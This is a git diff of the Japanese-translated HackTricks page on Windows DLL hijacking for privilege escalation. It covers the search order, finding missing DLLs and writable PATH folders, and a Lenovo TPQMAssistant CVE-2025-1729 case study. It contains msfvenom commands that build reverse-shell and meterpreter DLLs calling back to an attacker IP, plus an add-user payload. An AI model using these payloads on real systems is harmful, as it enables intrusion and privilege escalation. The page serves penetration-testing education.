mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
203651eb80
commit
c5469319aa
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
## Basic Information
|
||||
|
||||
DLLハイジャックは、信頼されたアプリケーションを操作して悪意のあるDLLを読み込ませることを含みます。この用語は、**DLLスプーフィング、インジェクション、サイドローディング**などのいくつかの戦術を含みます。主にコード実行、持続性の達成、そしてあまり一般的ではない特権昇格に利用されます。ここでの昇格に焦点を当てていますが、ハイジャックの手法は目的に関係なく一貫しています。
|
||||
|
||||
### 一般的な技術
|
||||
### Common Techniques
|
||||
|
||||
DLLハイジャックにはいくつかの方法があり、各アプリケーションのDLL読み込み戦略に応じて効果が異なります:
|
||||
|
||||
@ -14,12 +14,12 @@ DLLハイジャックにはいくつかの方法があり、各アプリケー
|
||||
2. **DLL検索順序ハイジャック**: 悪意のあるDLLを正当なDLLの前に検索パスに配置し、アプリケーションの検索パターンを悪用します。
|
||||
3. **ファントムDLLハイジャック**: アプリケーションが読み込むための悪意のあるDLLを作成し、存在しない必要なDLLだと思わせます。
|
||||
4. **DLLリダイレクション**: `%PATH%`や`.exe.manifest` / `.exe.local`ファイルの検索パラメータを変更して、アプリケーションを悪意のあるDLLに誘導します。
|
||||
5. **WinSxS DLL置換**: WinSxSディレクトリ内で正当なDLLを悪意のあるDLLに置き換え、DLLサイドローディングに関連する方法です。
|
||||
5. **WinSxS DLL置換**: WinSxSディレクトリ内で正当なDLLを悪意のあるDLLに置き換える方法で、DLLサイドローディングに関連付けられることが多いです。
|
||||
6. **相対パスDLLハイジャック**: コピーしたアプリケーションと共にユーザーが制御するディレクトリに悪意のあるDLLを配置し、バイナリプロキシ実行技術に似ています。
|
||||
|
||||
## 不足しているDLLの発見
|
||||
## Finding missing Dlls
|
||||
|
||||
システム内の不足しているDLLを見つける最も一般的な方法は、sysinternalsから[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)を実行し、**次の2つのフィルターを設定**します:
|
||||
システム内の欠落しているDLLを見つける最も一般的な方法は、sysinternalsから[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)を実行し、**次の2つのフィルターを設定**することです:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -29,18 +29,18 @@ DLLハイジャックにはいくつかの方法があり、各アプリケー
|
||||
|
||||
.png>)
|
||||
|
||||
一般的に**不足しているdllを探している**場合は、これを**数秒間**実行します。\
|
||||
特定の実行可能ファイル内の**不足しているdllを探している**場合は、**「プロセス名」が「含む」"\<exec name>"のような別のフィルターを設定し、それを実行してイベントのキャプチャを停止する**必要があります。
|
||||
**一般的に欠落しているdllを探している場合**は、これを**数秒間**実行します。\
|
||||
**特定の実行可能ファイル内の欠落しているdllを探している場合**は、**「プロセス名」が「含む」"\<exec name>"のような別のフィルターを設定し、それを実行してイベントのキャプチャを停止する必要があります**。
|
||||
|
||||
## 不足しているDLLの悪用
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
特権を昇格させるための最良のチャンスは、**特権プロセスが読み込もうとするDLLを書くことができる**ことです。したがって、**元のDLL**があるフォルダーの前に**DLLが検索されるフォルダー**にDLLを書き込むことができるか、**DLLが検索されるフォルダー**に書き込むことができ、元の**DLLがどのフォルダーにも存在しない**場合です。
|
||||
特権を昇格させるための最良のチャンスは、**特権プロセスが読み込もうとするdllを書くことができる**ことです。したがって、**元のdll**があるフォルダーの前に**dllが検索されるフォルダー**に**dllを書くことができる**か、**dllが検索されるフォルダー**に**書き込むことができる**必要がありますが、元の**dllがどのフォルダーにも存在しない**場合です。
|
||||
|
||||
### DLL検索順序
|
||||
### Dll Search Order
|
||||
|
||||
**DLLがどのように特に読み込まれるかは、** [**Microsoftのドキュメント**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **で確認できます。**
|
||||
**具体的にDLLがどのように読み込まれるかは、[**Microsoftのドキュメント**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)で確認できます。**
|
||||
|
||||
**Windowsアプリケーション**は、特定の順序に従って**事前定義された検索パス**に従ってDLLを探します。DLLハイジャックの問題は、有害なDLLがこれらのディレクトリの1つに戦略的に配置され、正当なDLLの前に読み込まれることを保証する場合に発生します。この問題を防ぐための解決策は、アプリケーションが必要なDLLを参照する際に絶対パスを使用することです。
|
||||
**Windowsアプリケーション**は、特定の順序に従って**事前定義された検索パス**に従ってDLLを探します。DLLハイジャックの問題は、有害なDLLがこれらのディレクトリの1つに戦略的に配置され、正当なDLLの前に読み込まれることを保証する場合に発生します。この問題を防ぐための解決策は、アプリケーションが必要なDLLを参照する際に絶対パスを使用することを確認することです。
|
||||
|
||||
32ビットシステムの**DLL検索順序**は以下の通りです:
|
||||
|
||||
@ -49,40 +49,40 @@ DLLハイジャックにはいくつかの方法があり、各アプリケー
|
||||
3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。 (_C:\Windows\System_)
|
||||
4. Windowsディレクトリ。 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)関数を使用してこのディレクトリのパスを取得します。(_C:\Windows_)
|
||||
5. 現在のディレクトリ。
|
||||
6. PATH環境変数にリストされているディレクトリ。これは、**App Paths**レジストリキーによって指定されたアプリケーションごとのパスを含まないことに注意してください。DLL検索パスを計算する際に**App Paths**キーは使用されません。
|
||||
6. PATH環境変数にリストされているディレクトリ。これは、**App Paths**レジストリキーによって指定されたアプリケーションごとのパスを含まないことに注意してください。**App Paths**キーは、DLL検索パスを計算する際には使用されません。
|
||||
|
||||
これは、**SafeDllSearchMode**が有効な場合の**デフォルト**の検索順序です。これが無効になると、現在のディレクトリが2番目の位置に上昇します。この機能を無効にするには、**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**レジストリ値を作成し、0に設定します(デフォルトは有効です)。
|
||||
|
||||
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)関数が**LOAD_WITH_ALTERED_SEARCH_PATH**で呼び出されると、検索は**LoadLibraryEx**が読み込んでいる実行可能モジュールのディレクトリから始まります。
|
||||
|
||||
最後に、**DLLは名前だけでなく絶対パスを指定して読み込まれる可能性がある**ことに注意してください。その場合、そのDLLは**そのパス内でのみ検索されます**(DLLに依存関係がある場合、それらは名前で読み込まれたものとして検索されます)。
|
||||
最後に、**dllは名前だけでなく絶対パスを指定して読み込まれる可能性がある**ことに注意してください。この場合、そのdllは**そのパス内でのみ検索されます**(dllに依存関係がある場合、それらは名前で読み込まれたものとして検索されます)。
|
||||
|
||||
検索順序を変更する他の方法もありますが、ここでは説明しません。
|
||||
|
||||
#### WindowsドキュメントからのDLL検索順序の例外
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
標準のDLL検索順序に対する特定の例外は、Windowsのドキュメントに記載されています:
|
||||
Windowsのドキュメントには、標準のDLL検索順序に関する特定の例外が記載されています:
|
||||
|
||||
- **メモリに既に読み込まれているDLLと同じ名前のDLL**が遭遇した場合、システムは通常の検索をバイパスします。代わりに、リダイレクションとマニフェストのチェックを行い、メモリ内のDLLにデフォルトします。このシナリオでは、システムはDLLの検索を行いません。
|
||||
- DLLが現在のWindowsバージョンの**既知のDLL**として認識される場合、システムはその既知のDLLのバージョンとその依存DLLを使用し、**検索プロセスを省略します**。レジストリキー**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**には、これらの既知のDLLのリストが保持されています。
|
||||
- **DLLに依存関係がある場合**、これらの依存DLLの検索は、最初のDLLがフルパスで識別されたかどうかに関係なく、**モジュール名**のみで示されたかのように行われます。
|
||||
- **メモリ内に既に読み込まれているDLLと同じ名前のDLL**が遭遇した場合、システムは通常の検索をバイパスします。代わりに、リダイレクションとマニフェストのチェックを行い、メモリ内のDLLにデフォルトで戻ります。このシナリオでは、システムはDLLの検索を行いません。
|
||||
- DLLが現在のWindowsバージョンの**既知のDLL**として認識される場合、システムはその既知のDLLのバージョンと、その依存DLLを使用し、**検索プロセスを省略します**。レジストリキー**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**には、これらの既知のDLLのリストが保持されています。
|
||||
- **DLLに依存関係がある場合**、これらの依存DLLの検索は、初期DLLがフルパスで特定されたかどうかに関係なく、**モジュール名**のみで示されたかのように行われます。
|
||||
|
||||
### 特権の昇格
|
||||
### Escalating Privileges
|
||||
|
||||
**要件**:
|
||||
**Requirements**:
|
||||
|
||||
- **異なる特権**(水平または側方移動)で動作するか、動作するプロセスを特定し、**DLLが不足している**ことを確認します。
|
||||
- **DLLが検索される**任意の**ディレクトリ**に**書き込みアクセス**があることを確認します。この場所は、実行可能ファイルのディレクトリまたはシステムパス内のディレクトリである可能性があります。
|
||||
- **異なる特権**(水平または側方移動)で動作するか、動作する予定のプロセスを特定し、**DLLが欠落している**ことを確認します。
|
||||
- **DLL**が**検索される**任意の**ディレクトリ**に**書き込みアクセス**があることを確認します。この場所は、実行可能ファイルのディレクトリまたはシステムパス内のディレクトリである可能性があります。
|
||||
|
||||
はい、要件を見つけるのは複雑です。**デフォルトでは、特権のある実行可能ファイルがDLLを欠いているのを見つけるのは奇妙です**し、**システムパスフォルダーに書き込み権限を持つのはさらに奇妙です**(デフォルトではできません)。しかし、設定が不適切な環境ではこれは可能です。\
|
||||
要件を満たす幸運な場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトを確認できます。**プロジェクトの主な目的はUACをバイパスすることですが、使用できるWindowsバージョンのDLLハイジャックの**PoC**が見つかるかもしれません(おそらく書き込み権限のあるフォルダーのパスを変更するだけで済みます)。
|
||||
はい、要件は**デフォルトでは特権のある実行可能ファイルがDLLを欠落させているのを見つけるのは奇妙であり**、**システムパスフォルダーに書き込み権限を持つのはさらに奇妙です**(デフォルトではできません)。しかし、誤って構成された環境ではこれは可能です。\
|
||||
運が良ければ要件を満たしている場合、[UACME](https://github.com/hfiref0x/UACME)プロジェクトを確認できます。プロジェクトの**主な目的はUACをバイパスすることですが**、使用できるWindowsバージョンのDLLハイジャックの**PoC**が見つかるかもしれません(おそらく書き込み権限のあるフォルダーのパスを変更するだけで済みます)。
|
||||
|
||||
フォルダー内の**権限を確認する**には、次のようにします:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
すべてのフォルダーの**PATH内の権限を確認します**:
|
||||
すべてのフォルダーの**PATH内の権限を確認する**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
@ -91,7 +91,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
完全なガイドについては、**Dll Hijackingを悪用して特権を昇格させる**方法を確認してください。**System Pathフォルダー**に書き込み権限がある場合:
|
||||
完全なガイドについては、**System Pathフォルダーに書き込む権限を持つ**ために**Dll Hijackingを悪用する方法**を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -104,20 +104,20 @@ writable-sys-path-+dll-hijacking-privesc.md
|
||||
|
||||
### 例
|
||||
|
||||
悪用可能なシナリオを見つけた場合、成功裏に悪用するための最も重要なことの1つは、**実行可能ファイルがインポートするすべての関数をエクスポートするdllを作成すること**です。とにかく、Dll Hijackingは、[**中程度の整合性レベルから高い整合性レベルに昇格するために便利です(UACをバイパス)**](../../authentication-credentials-uac-and-efs/index.html#uac)または[**高い整合性からSYSTEMに昇格するために**](../index.html#from-high-integrity-to-system)**役立ちます。** 有効なdllを作成する方法の例は、この実行のためのdll hijackingに焦点を当てたdll hijacking研究の中にあります:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
|
||||
悪用可能なシナリオを見つけた場合、成功裏に悪用するための最も重要なことの1つは、**実行可能ファイルがインポートするすべての関数をエクスポートするdllを作成すること**です。とにかく、Dll Hijackingは、[**中程度の整合性レベルから高い整合性レベルに昇格するために(UACをバイパス)**](../../authentication-credentials-uac-and-efs/index.html#uac)や、[**高い整合性からSYSTEMに昇格するために**](../index.html#from-high-integrity-to-system)**便利です。** 有効なdllを作成する方法の例は、この実行のためのdll hijackingに焦点を当てたdll hijacking研究の中にあります:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
さらに、**次のセクション**では、**テンプレート**として役立つか、**エクスポートされた不要な関数を持つdllを作成するための**いくつかの**基本的なdllコード**を見つけることができます。
|
||||
|
||||
## **Dllの作成とコンパイル**
|
||||
|
||||
### **Dllプロキシ化**
|
||||
|
||||
基本的に、**Dllプロキシ**は、**読み込まれたときに悪意のあるコードを実行することができるDll**ですが、**実際のライブラリへのすべての呼び出しを中継することによって**、**期待通りに機能する**こともできます。
|
||||
基本的に、**Dllプロキシ**は、**読み込まれたときに悪意のあるコードを実行することができるDll**ですが、**実際のライブラリへのすべての呼び出しを中継することによって**、**期待通りに**機能することも**露出**します。
|
||||
|
||||
ツール[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)または[**Spartacus**](https://github.com/Accenture/Spartacus)を使用すると、実行可能ファイルを指定し、プロキシ化したいライブラリを選択して**プロキシ化されたdllを生成する**ことができます。または、**Dllを指定して**、**プロキシ化されたdllを生成する**こともできます。
|
||||
ツール[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)または[**Spartacus**](https://github.com/Accenture/Spartacus)を使用すると、実行可能ファイルを指定し、プロキシ化したいライブラリを選択して**プロキシ化されたdllを生成**することができます。または、**Dllを指定して**プロキシ化されたdllを生成することもできます。
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**revシェルを取得する(x64):**
|
||||
**revシェルを取得(x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
@ -125,13 +125,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**ユーザーを作成する (x86のバージョンしか見当たらなかった):**
|
||||
**ユーザーを作成する (x86のバージョンしか見当たりませんでした):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### あなた自身の
|
||||
|
||||
いくつかのケースでは、コンパイルしたDllが**被害者プロセスによってロードされるいくつかの関数をエクスポートする必要がある**ことに注意してください。これらの関数が存在しない場合、**バイナリはそれらをロードできず**、**エクスプロイトは失敗します**。
|
||||
いくつかのケースでは、コンパイルしたDllが被害者プロセスによって読み込まれる**いくつかの関数をエクスポートする必要がある**ことに注意してください。これらの関数が存在しない場合、**バイナリはそれらを読み込むことができず**、**エクスプロイトは失敗します**。
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -212,10 +212,48 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## ケーススタディ: CVE-2025-1729 - TPQMAssistant.exeを使用した特権昇格
|
||||
|
||||
このケースは、LenovoのTrackPoint Quick Menu(`TPQMAssistant.exe`)における**ファントムDLLハイジャック**を示しており、**CVE-2025-1729**として追跡されています。
|
||||
|
||||
### 脆弱性の詳細
|
||||
|
||||
- **コンポーネント**: `TPQMAssistant.exe` は `C:\ProgramData\Lenovo\TPQM\Assistant\` にあります。
|
||||
- **スケジュールされたタスク**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` は、ログインユーザーのコンテキストで毎日午前9時30分に実行されます。
|
||||
- **ディレクトリの権限**: `CREATOR OWNER` によって書き込み可能で、ローカルユーザーが任意のファイルをドロップできます。
|
||||
- **DLL検索動作**: 最初に作業ディレクトリから `hostfxr.dll` を読み込もうとし、存在しない場合は「NAME NOT FOUND」とログに記録し、ローカルディレクトリ検索の優先順位を示します。
|
||||
|
||||
### エクスプロイトの実装
|
||||
|
||||
攻撃者は、同じディレクトリに悪意のある `hostfxr.dll` スタブを配置することで、欠落しているDLLを利用してユーザーのコンテキストでコード実行を達成できます。
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
|
||||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||||
// Payload: display a message box (proof-of-concept)
|
||||
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
### 攻撃フロー
|
||||
|
||||
1. 標準ユーザーとして、`hostfxr.dll`を`C:\ProgramData\Lenovo\TPQM\Assistant\`に配置します。
|
||||
2. 現在のユーザーのコンテキストで午前9時30分にスケジュールされたタスクが実行されるのを待ちます。
|
||||
3. タスクが実行されるときに管理者がログインしている場合、悪意のあるDLLは中程度の整合性で管理者のセッションで実行されます。
|
||||
4. 標準のUACバイパステクニックを連鎖させて、中程度の整合性からSYSTEM権限に昇格します。
|
||||
|
||||
### 緩和策
|
||||
|
||||
Lenovoは、Microsoft Storeを通じてUWPバージョン**1.12.54.0**をリリースしました。これにより、`C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`にTPQMAssistantがインストールされ、脆弱なスケジュールされたタスクが削除され、レガシーWin32コンポーネントがアンインストールされます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [CVE-2025-1729 - TPQMAssistant.exeを使用した特権昇格](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user